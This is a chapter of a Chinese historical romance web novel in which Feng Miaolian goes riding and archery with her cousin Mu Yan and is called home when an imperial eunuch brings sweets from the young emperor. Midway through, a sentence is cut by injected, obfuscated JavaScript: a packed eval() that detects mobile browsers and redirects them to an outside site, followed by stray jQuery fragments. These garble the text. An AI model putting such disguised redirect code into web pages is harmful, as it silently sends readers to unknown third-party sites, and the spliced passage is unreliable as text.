20. 归家(三)

作品:《胡笳汉月

    翌日,天光大亮,冯妙莲抱着隐枕睡得正香,院门外忽而响起一阵噼里啪啦树枝被砍的声音,夹杂着破空的呼啸,好像有人在练剑?


    冯妙莲不耐烦地翻了个身,可这声音并没有停下,反而越来越密集。


    终于,她的起床气被勾了起来——谁呀,大早上扰得她不得好眠!她支使素雪去看看。


    不一会儿,素雪一溜小跑回来,告诉她:“是穆二郎!”


    哎?冯妙莲揉揉眼睛,这么早?


    是了!他们今日要出城跑马哪!


    她瞬间来了精神。


    穆砚刚练完一套刀法,拿腰间毛尾擦了擦满是汗渍的刀柄,听见动静,转头就见冯妙莲一身利落的殷红骑装,向他小跑而来。她今天没有梳双鬟,而是和他一样,梳了个高马尾,利落得很。


    “你来得真早!原以为要午后才能成行。”冯妙莲清脆的声音犹如春日黄鹂,连冬日的朔风听了,都要暖上三分。


    穆砚当然不会承认他在她家住了一宿,昨夜进门,常夫人安排得隐秘,没几个人晓得!


    “早?”他夸张地仰头看了眼天色——这时辰,搁营里,晨操都结束了!


    冯妙莲脸上一红。她往常都要睡到日上三竿才起的!


    她赶紧摆手,囫囵拉着他往外走:“跑马去喽!”


    常氏因怕女儿疯起来危险,执意给她找了匹小马驹。穆砚呢?却骑着高头大马。


    北风萧萧,他居高临下地瞧着她,恰见到她高高竖起的马尾上翘着几根杂毛,迎风摆动,好似几根柔嫩地手指,蛊惑着他上去揉一揉——他果真指间又泛起了痒。


    “别!”她一把护住自己的毛茸茸的脑袋,以为他又要像从前那样,拍她的后脑勺,“会变笨的!”


    他悻悻地收回手,腹诽:好似你以前有多聪明似的。


    二人在城内只能遛着走,到郊外才敢撒开来跑。


    可冯妙莲的小马驹能有多快?


    光秃秃的山丘上,冯妙莲发愁地盯着座下的小马,摸摸它稚嫩的脖子,感慨:“要是纤离在就好了!”


    “纤离?谁?”


    “任城王世子送我的大宛马,可漂亮了!毛色油光锃亮的,跑起来犹如闪电!”冯妙莲两眼放光,激动地拿手比划了一番。


    这么大方?穆砚嗤了一声,到底是任城王府,有钱!


    他可没少听阿耶念叨,说任城王拓跋云惯会逢迎,把太皇太后哄得乐颠颠的,什么好差事都赏给他。而他阿耶呢?因性子直,脾气躁,姨母冯太后只有用兵的时候才想起他,平日不大待见的。


    冯妙莲没听出他话里的讽意,清咳一声,有意在他面前卖弄,特意脱掉兔毛手套,拉开箭筒里的狐尾,抽出箭来,指着不远处枯枝上的硕大鸟窝,眯眼道:“看见那只空巢了吗?我能射下来!”


    说着,一箭发过去,准头不错,打中了巢边,却因力道不够,鸟巢愣是纹丝不动!


    穆砚抱臂瞧着她,嘴角勾起一丝若有若无的笑意。


    冯妙莲脸上挂不住,嘟囔着“风太大”、“手冷”之类的托词,搓搓手掌,又要抽第二支箭。


    “慢!”穆砚突然开口。他策马靠近,劲瘦的身影笼罩下来,带着刚运动过的热气和新雪般清冽的气息。他并未碰到她,只是虚虚地环过她的身后,手掌抬了抬她拉弓的右膀:“姿势不对,发力点错了。射箭靠大臂和后背,不能拿小臂硬拽!”


    她依着穆砚的诀窍,弯弓搭箭,果然一箭射飞鸟巢!


    冯妙莲举着弓子为自己道彩。身后却传来穆砚懒羊羊地、带着不屑的嗓音:“你不是说,小皇帝亲手教你射箭么?就这?”


    冯妙莲那张被朔风刮得通红的小脸瞬间热辣辣的。她依稀记起,这些事项小皇帝也跟她讲过的,只是几天不练,她忘得差不多啦!


    穆砚扫了她一眼,抽出自己那把硕大的重弓,下巴微抬,提气道:“瞧好了,这才叫本事!”


    言罢,闭眸张弓。


    冯妙莲只见那羽箭风驰电掣般飞了出去,却半天没什么动静,不由一手捧着肚皮,一手指着他“哈哈哈哈”地嗤笑起来,“还越骑营嘞!箭都跑没影啦!”


    穆砚看傻子似的瞥了她一眼,“瞎二囡,你倒是往远处瞅啊!”


    冯妙莲顺着他指的方向极目远眺,只见远处山坡上,一个黑不溜秋地玩意儿被一箭钉在地上,羽毛正迎风抖动——隐约是一只被射中的稚鸡!这么远的距离,这么小的目标……她张大了嘴,笑声戛然而止。


    穆砚得意地扬起下巴,古铜色的脸庞在冬日暖阳下泛着金光:“看到没?这叫百步穿杨!”他收回目光,转头就见冯妙莲呆若木鸡的模样,忍不住用弓梢轻轻碰了碰她的马尾,“服不服气?”


    冯妙莲回过神,连连点头:“服,服!”亮晶晶的眸子里盛满了钦佩。


    “比之那位陛下呢?”


    哎?冯妙莲转头,见他正目光灼灼地盯着自己,脸上虽挂着笑,可眼里却透着莫名的执着。


    她想起小皇帝与冯诞还有拓跋澄的叼羊比赛来。可那时他们比的是马上功夫,至于射箭么,她哪里知道穆砚与小皇帝谁更胜一筹?


    不过,秉着见人说人话,见鬼说鬼话的原则,她立即诚挚却又不负责任地夸他:“自然是你厉害啦!他这个皇帝,还要靠你这位大将军守着呢!”


    她原是下意识地讨好他,不意后面这句却叫穆砚添了堵——他再是威风凛凛的将军,终究是帝王的卒子。他,还是比不过那个小皇帝呀!


    这个认知叫他有些沮丧,又有些不甘。甚至,他自己都不明白这几天是怎么了?好像自打前天在行宫外,见到小皇帝抱着妙莲下马时,他这心就梗得慌!


    “走!”他一夹马腹,“再打几只稚鸡,给你带回去炖汤……”


    既然想不明白,那就暂时不去管他——少年郎排遣愁绪,也有自己的法门。


    二人驰骋在光秃秃的郊外,尽管冰天雪地,可他们却跑得浑身滚热。


    穆砚一直控着马速,与她并辔。


    无知的女童,年少的郎君,在疏林、在荒丘、在缓坡、在河边,任意驰骋。北风如刀子般刮过眼角,冯妙莲兴奋得小脸通红,眸中因冷风刺激,微微含泪,看向穆砚的杏仁眼儿水汪汪的,笑意自眼角眉梢倾泻而出,额心的那枚朱砂痣在冰天雪地里,如火焰一般跳动。


    这一幕,宛如烙印般,深深刻入穆砚心底;又如游蛇顺着甘霖,弋进他的四肢百骸。若干年后,他蜷在怀朔冰天雪地的营帐里,午夜梦回,霜重鼓寒,便是靠着这股不灭的记忆,一点点,撑过漫漫长夜……


    而如今,北地冷冽,浇不灭心头热火——到处,都是自由的气息!


    冯妙莲爱极了这种没有束缚的感觉,这些日子在宫里积累的郁气终于释放了出来……


    “快活啊!”她由衷地感慨。


    “哦?”穆砚一边策马,一边问她,“是与我一处快活,还是和那小皇帝?”


    “你呀……”冯妙莲大笑着应他。


    朔风却呼啸着将她的声音截住。穆砚光看到她的嘴唇动了动,还没听清呢,就见她突然放缓了马速……


    冯妙莲揉着咕咕叫的肚子,有些难为情地看了看他。


    原是饿了……穆砚停下来瞅了眼天色,已过正午,是时候进些即饷了。


    然而,没等他将布袋里的肉干和酪浆取出,却听远处一阵人马嘶鸣。


    光秃秃的山丘旁,一骑疾驰而来。翻飞的马蹄溅出土黄色飞沙,仿佛将他淹没。


    穆砚目力极佳,老远便瞧见来人——那不是冯家的部曲头子,步鹿么!他来作甚?


    他心里一咯噔,下意识地回头瞟了眼妙莲,心知必是冯家有事!


    果然,步鹿在离他们百步时飞身下马,对二人行了一礼,恭谨的脸上透着急切,禀道:“宫里来人,郎主命二娘速归!”


    冯妙莲脸上的笑意霎时冻住——宫里的?双三念么?可她已经把作业码齐了放在案上,素雪替她交了就是。干嘛非要见她?


    她的俏脸沉了下来,樱桃小嘴不快地撅起,这账自然得算在小皇帝头上。她不禁腹诽——管东管西,真不怕变糟老头子!


    穆砚眉头紧锁,方才的快意被败得干干净净——他万分不想被一阉奴搅扰了兴致,偏生皇权大义在前,又有他阿舅的令,不得不遵。


    “我送你回去!”他沉声道,倒要看看那小皇帝葫芦里卖的什么药!


    马蹄嘚嘚,敲在冬日坚硬的土地上,也敲在俩人的心上。去时有多快意,回的时候便有多郁闷。


    冯妙莲奄头搭脑地拽着缰绳,行速极慢,心里忐忑,生怕那位酷爱折腾人的陛下又有新的课业要她做。


    穆砚的心思也跟着飞了出去。


    他想起前日在行宫外,小皇帝抱着二囡下马的样子,心头那股莫名的滞涩又涌了上来,隐隐夹杂着一丝难以言喻的焦躁。


    少年人不懂太复杂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347209|180452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的爱恨,但是不舒服就是不舒服,不欢喜就是不欢喜!他侧头瞟了眼冯妙莲,见她神色郁郁,一副没精打采的样子,与方才的神采飞扬判若两人。


    他居然嘴角微弯,提着的心也跟着放回了肚子里——还好,她也是这么想的!


    昌黎郡王府高大的院墙终于出现在视野里,门外果然停着一队带有宫徽的马车和禁卫。他暗自松了口气——看规格,最多是中黄门来传话而已!


    穆砚一勒缰绳,骏马长嘶一声,稳稳停住。他率先跳下马背,想去扶冯妙莲下马。


    不想她俏皮地一拍他的巴掌,自己利落地跳了下来!他有些失落地收回手,又有些不服气——哦!小皇帝能扶你,我就不能?没义气!


    却见冯家中门大敞,素雪正徘徊门前。见到他俩,焦急地脸上终于露出一丝笑意。


    “大郎和双中官等候多时啦!”


    穆砚诧异,脚步微顿,与冯妙莲对视一眼:“大郎也来了?”


    冯妙莲也疑惑——长兄不是旬日才来家里么?


    二人快步穿过中庭,还未入正厅,便听见里面传来劝茶的声音。


    只见魏大母与冯熙高堂正坐。双三念与冯诞分坐二人下首,常氏正殷勤地给众人分茶。


    穆砚眉心微蹙——一个黄门而已,还是那个没权的小皇帝派来的,也值当这样小心翼翼地招待?阿舅好歹是郡王,未免太抬举他了些!


    他哪里知道,双三念还是冯太后心腹、中常侍双蒙的养子,不看僧面看佛面,谨慎若冯熙,能不敬着些?


    而双三念呢?这也是他第一次被派到外头来办差,还是冯太后的娘家。他可没有他义父的底气,下意识地想站一边侍奉,不想却被冯熙请到了上座,还叫常氏与他看茶。盛情难却,他捧着滚烫的漆盏,亦战战兢兢得很。


    “阿耶,长兄!”冯妙莲轻省地与他们打招呼,又问双三念,“双中官是来取作业的么?”


    座上几人皆舒了口气——正主总算来了!


    双三念一见到冯妙莲,立即腆着脸上前,殷勤地自从人手里接来一个双层的黑漆食盒,打开了与冯妙莲欣赏。


    “作业不急。陛下说,二娘爱甜食,这些是膳房的女官新近做的,叫奴带来,给您尝鲜。”他一边说话,一边自然而然地拿矮胖的身子隔开了杵在旁边的穆砚。


    穆砚被他一梗,只觉怒火中烧,双拳捏紧就想发作,可上首的冯熙却狠狠瞪了他一眼。无法,穆砚咬牙,愤愤地退到了冯诞身边。


    “砚哥今日没去营中?怎么与二娘一处?”冯诞眉头微蹙,直觉不妥。


    “唔,告了假!”他不置可否道。两只眼睛似喷火的亭燎,直盯着双三念不放。


    冯妙莲跑马半日,早就饿得前胸贴后背了。


    她拈起一个莲花模样的点心,见乳白的皮子上点着姜黄的酥酪,奶香扑鼻,闻着就让人食指大动。


    她迫不及待地咬了一口,杏仁眼儿顿时惊喜地瞪圆——“唔……大善!”


    双三念见她喜欢,也跟着喜笑颜开——可算能回去交差了!他捂嘴偷笑,小皇帝叫他来收作业是假,看人才是真!陛下貌似对冯二娘严苛,实则心里头想得紧。不然也不会命膳房提前备好点心,巴巴地叫他一早送来。


    冯妙莲只尝了几口垫了下肚子,便放下了——没有叫满堂亲眷等着看的道理。


    她叫素雪取来作业——厚厚地一沓鱼鳞纸,交于双三念,有些忐忑地道:“麻烦和陛下说一声,一定要看到最后啊!”


    双三念有些摸不着头脑,待接过作业,眼神下意识地瞄了眼首张,满纸皆是大大的“一”字,不由眉心一跳,心也跟着提了上来,我滴乖乖——这叫危言危行的陛下瞧了,不定怎样发作呢!冯二娘也忒贪玩了些,陛下的令也敢糊弄!


    他不动声色地朝冯妙莲和上首的冯熙行了礼,带着宫人匆匆回去复命。


    “赏几样点心也值当叫我们回来。”穆砚对着舅舅抱怨。


    冯熙斜睨他一眼——这小子,怎么跟他阿耶一样,不开窍呢?管这小皇帝有没有权,你对人家敬着点,又没损失!


    魏大母则拿乡杖杵地,提点他:“雷霆雨露,皆是君恩。”——心里怎么想是一回事儿,大面子上不能出错。


    切,穆砚不屑地撇头。没兵没权的小皇帝,他才不怕!


    冯诞跟着瞥了他一眼,摇头不语。他今日来,一面是正好与双三念同路,另一面,也有事要找二娘求证……